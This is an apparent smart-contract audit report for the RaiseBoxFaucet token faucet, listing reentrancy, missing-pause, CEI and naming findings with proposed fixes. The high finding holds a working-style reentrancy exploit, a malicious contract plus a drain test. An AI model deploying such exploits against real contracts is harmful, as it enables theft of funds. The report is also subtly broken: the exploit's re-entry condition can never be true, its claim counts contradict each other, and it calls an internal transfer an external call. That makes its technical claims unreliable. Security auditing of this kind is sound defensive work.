RaiseBoxFaucet Audit Report

Version 1.0

0xLilTee

October 26, 2025

RaiseBoxFaucet Audit Report

Page

October 26, 2025

Prepared by: [TONYE]

Lead Security Researcher: 0xLilTee

Table of Contents

  - [L-1] The Checks, Effects & Interactions (CEI) is violated and has poor pattern.

- Informational
  - [I-1] Misleading Custom Error Name in `RaiseBoxFaucet::mintFaucetTokens`
  - [I-2] Confusing Function Design at `adjustDailyClaimLimit()`

Protocol Summary

RaiseBox Faucet is a token drip faucet that drips 1000 test tokens to users every 3 days. It also drips 0.005 sepolia eth to first time users.

The faucet tokens will be useful for testing the testnet of a future protocol that would only allow interactions using this tokens.

Disclaimer

The 0xLilTee team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: ba2bd3ab6efc052910ee06387cbc76531d8adb88
- In Scope

Scope

```
src/
#-- RaiseBoxFaucet.sol
#-- DeployRaiseBoxFaucet.s.sol
```

Roles

Owner -

1. deploys contract,
2. mint initial supply and any new token in future,
3. can burn tokens,
4. can adjust daily claim limit,
5. can refill sepolia eth balance

Claimer - can claim tokens by calling the `RaiseBoxFaucet::claimFaucetTokens` function of this contract.

Donor - can donate sepolia eth directly to contract

Executive Summary

I loved auditing this codebase and it is a very good and huge experience for my career.

Issues found

Severity	Number of issues found
High	1
Medium	1
Low	1

Severity	Number of issues found
Info	2
Gas	0
Total	5

Findings

High

[H-1] Reentrancy Bypasses the 3 day cooldown and 100 daily claim limit.

Description Complete protocol failure. The attacker can drain 100% of faucet tokens in a single transaction by bypassing the 3day cooldown. The `claimFaucetTokens()` performs an external call before updating the critical state.

```

@>      (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
                if (success) {
                    emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
                } else {
                    revert RaiseBoxFaucet_EthTransferFailed();
                }
            } else {
                emit SepEthDripSkipped(
                    faucetClaimer,
                    address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
                );
            }
        } else {
            dailyDrips = 0;
        }
        if (block.timestamp > lastFaucetDripDay + 1 days) {
            lastFaucetDripDay = block.timestamp;
            dailyClaimCount = 0;
        }
@>        lastClaimTime[faucetClaimer] = block.timestamp;
@>        dailyClaimCount++;
@>        _transfer(address(this), faucetClaimer, faucetDrip);
@>        emit Claimed(msg.sender, faucetDrip);
```

A user who tries to claim using the `claimFaucetTokens()` function can likely have the `receive()` function that calls the `RaiseBoxFaucet::claimFaucetTokens` and can claim the entire faucet tokens.

Impact The protocol losses it's entire tokens making the it become insolvent and leaving no tokens for legitimate users which breaks the fair distribution mechanism completely.

Proof Of Concept

1. Attacker deploys malicious contract with `receive()` function
2. Calls `claimFaucetTokens()` once
3. Malicious contract reenters on ETH receipt
4. Reenters 10,000 times before state updates
5. Steals all 1,000,000 tokens
6. `dailyClaimCount` finally increments to 3
7. Faucet left with 0 tokens

Place the following into `RaiseBoxFaucet.t.sol`

Code

```

function testDrainsFaucet() public {

    uint256 startingBalance = ourFaucet.balanceOf(address(ourFaucet));
    uint256 dripAmount = ourFaucet.faucetDrip();
    uint256 dailyLimit = ourFaucet.dailyClaimLimit();

    require(startingBalance > 0, "Faucet must have tokens");
    console.log("Faucet balance:", startingBalance);
    console.log("Drip amount:", dripAmount);
    console.log("Daily limit:", dailyLimit);
    console.log("Daily claim count:", ourFaucet.dailyClaimCount());

    MaliciousReentrancy attacker = new MaliciousReentrancy(payable (
        address(ourFaucet)));

    attacker.attack();


    uint256 finalBalance = ourFaucet.balanceOf(address(ourFaucet));
    uint256 attackerBalance = ourFaucet.balanceOf(address(attacker));
    uint256 finalDailyCount = ourFaucet.dailyClaimCount();
    uint256 attackCount = attacker.attackCount();

    console.log("Faucet balance:", finalBalance);
    console.log("Attacker balance:", attackerBalance);
    console.log("Daily claim count:", finalDailyCount);
    console.log("Attack reentered:", attackCount, "times");

    assertEq(finalBalance, 0, "Faucet completely drained");
    assertGt(attackerBalance, startingBalance / 2, "Attacker stole
        significant amount");
    assertLt(finalDailyCount, 10, "Daily count < 10 proves bypass of
        100 limit");
    assertGt(attackCount, 100, "Should reenter many times");

    console.log("Expected max claims per day: 100");
    console.log("Actual claims in one tx:", attackCount);
    console.log("Bypass multiplier:", attackCount / dailyLimit, "x");
}
```

And this contract as well

```

contract MaliciousReentrancy{
    RaiseBoxFaucet public Ourfaucet;
    uint256 public attackCount;
    uint256 public maxAttack = 10000;

    constructor(address payable _Ourfaucet){
        Ourfaucet = RaiseBoxFaucet(_Ourfaucet);
    }

    function attack() external {
        Ourfaucet.claimFaucetTokens();
    }

    receive() external payable {
        if(attackCount > maxAttack && Ourfaucet.balanceOf(address(
            Ourfaucet)) >= Ourfaucet.faucetDrip()){
            attackCount++;
            Ourfaucet.claimFaucetTokens();
        }
    }
}
```

Recomended Mitigation To prevent this we need to make the `RaiseBoxFaucet.sol` to update the `RaiseBoxFaucet::claimFaucetTokens()` before maaking the external call we should also move the emit event up as well.

```

function claimFaucetTokens() public {
        // Checks
        faucetClaimer = msg.sender;

        if (block.timestamp < (lastClaimTime[faucetClaimer] +
            CLAIM_COOLDOWN)) {
            revert RaiseBoxFaucet_ClaimCooldownOn();
        }

        if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
            revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
        }

        if (balanceOf(address(this)) < faucetDrip) {
            revert RaiseBoxFaucet_InsufficientContractBalance();
        }

        if (dailyClaimCount >= dailyClaimLimit) {
            revert RaiseBoxFaucet_DailyClaimLimitReached();
        }

        lastClaimTime[faucetClaimer] = block.timestamp;
        if (block.timestamp > lastFaucetDripDay + 1 days) {
            lastFaucetDripDay = block.timestamp;
            dailyClaimCount = 0;
        }
        dailyClaimCount++;

        bool shouldDripEth = false;
    if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
        uint256 currentDay = block.timestamp / 24 hours;

        if (currentDay > lastDripDay) {
            lastDripDay = currentDay;
            dailyDrips = 0;
        }

        if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
            address(this).balance >= sepEthAmountToDrip) {
            hasClaimedEth[faucetClaimer] = true;
            dailyDrips += sepEthAmountToDrip;
            shouldDripEth = true;
        }
    }

    _transfer(address(this), faucetClaimer, faucetDrip);

    if (shouldDripEth) {
        (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
        if (!success) {
            revert RaiseBoxFaucet_EthTransferFailed();
        }
        emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
    }
    emit Claimed(msg.sender, faucetDrip);
}
```

Additional Defense-in-Depth: Add OpenZeppelin's ReentrancyGuard:

```

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
    function claimFaucetTokens() public nonReentrant {
    }
}
```

Medium

[M-1] Missing Emergency Pausable Mechanism at `RaiseBoxFaucet.sol`

Description The contract implements a selective Pausable mechanism that pauses the Eth Drips but lacks a global pausable mechanism of the contract. Implementing the pausable openzeppeline contract will help the owner of the contract during a security incident to halt the rentrancy attack before the attacker drains the entire fund in the contract.

```

@>  function toggleEthDripPause(bool _paused) external onlyOwner {
        sepEthDripsPaused = _paused;

        emit SepEthDripsPaused(_paused);
    }
```

Impact 1. cannot stop ongoing attacks. 2. The owner of the contract is helpless during exploits 3. No circuit breakers for emergencies

Recomended Mitigation Add OpenZeppelin's Pausable for emergency situations

```
import "@openzeppelin/contracts/security/Pausable.sol";

contract RaiseBoxFaucet is ERC20, Ownable, Pausable {

    function claimFaucetTokens() public whenNotPaused {
    }

    function pause() external onlyOwner {
        _pause();
    }

    function unpause() external onlyOwner {
        _unpause();
    }
}
```

This keeps both pause mechanisms:

`sepEthDripsPaused` for normal selective operations while `pause()` for global emergencies.

Low

[L-1] The Checks, Effects & Interactions (CEI) is violated and has poor pattern.

Description The `RaiseBoxFaucet::burnFaucetTokens` function makes an external call `_transfer` before updating the `_burn` state changes which violates the Checks, Effects & Interactions pattern.

Impact The impact is likely to be low but its important that the CEI patterns is properly used in this code.

Proof Of Concept

```

_transfer(address(this), msg.sender, balanceOf(address(this)));

        _burn(msg.sender, amountToBurn);
```

Recomended Mitigation Burn directly from the contract address or follow the appropriate CEI pattern.

```

+ _transfer(address(this), msg.sender, balanceOf(address(this)));

-         _burn(msg.sender, amountToBurn);


+ _transfer(address(this), msg.sender, balanceOf(address(this)));

+         _burn(address(this), amountToBurn);
```

Informational

[I-1] Misleading Custom Error Name in `RaiseBoxFaucet::mintFaucetTokens`

Description The error name `RaiseBoxFaucet_FaucetNotOutOfTokens` is used when the token balance exceeds 1000 tokens, though the logic is correct but the error name can be confusing.

Impact No functionality or security impact. The error name could be clearer for better code readability.

Recomended Mitigation A more detailed error name like `RaiseBoxFaucet_FaucetExceedsLimit` should be used for better understanding of the codebase.

[I-2] Confusing Function Design at `adjustDailyClaimLimit()`

Description The `adjustDailyClaimLimit()` uses a boolean parameter to determine if the protocol should increase or decrease the limit. This design is less intuitive and prone to errors than having seperate functions.

Impact Code works correctly but should be clearer and readable

Recomended Mitigation Should be splitted into two seperate functions `adjustDailyClaimLimit()`

```

+       increaseDailyClaimLimit(uint256 amount);
+       decreaseDailyClaimLimit(uint256 amount);
```